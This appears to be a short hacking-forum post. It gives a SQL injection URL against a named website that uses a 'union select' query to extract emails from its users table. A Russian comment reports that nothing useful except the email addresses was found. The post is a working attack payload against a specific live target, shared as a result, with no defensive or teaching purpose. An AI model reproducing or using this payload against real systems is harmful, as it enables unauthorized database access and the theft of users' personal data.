http://www.eutrainingsite.com/open_details.php?id=-1+union+select+1,email,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0 ,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+users/*
ничего полезного кроме мыл не нашел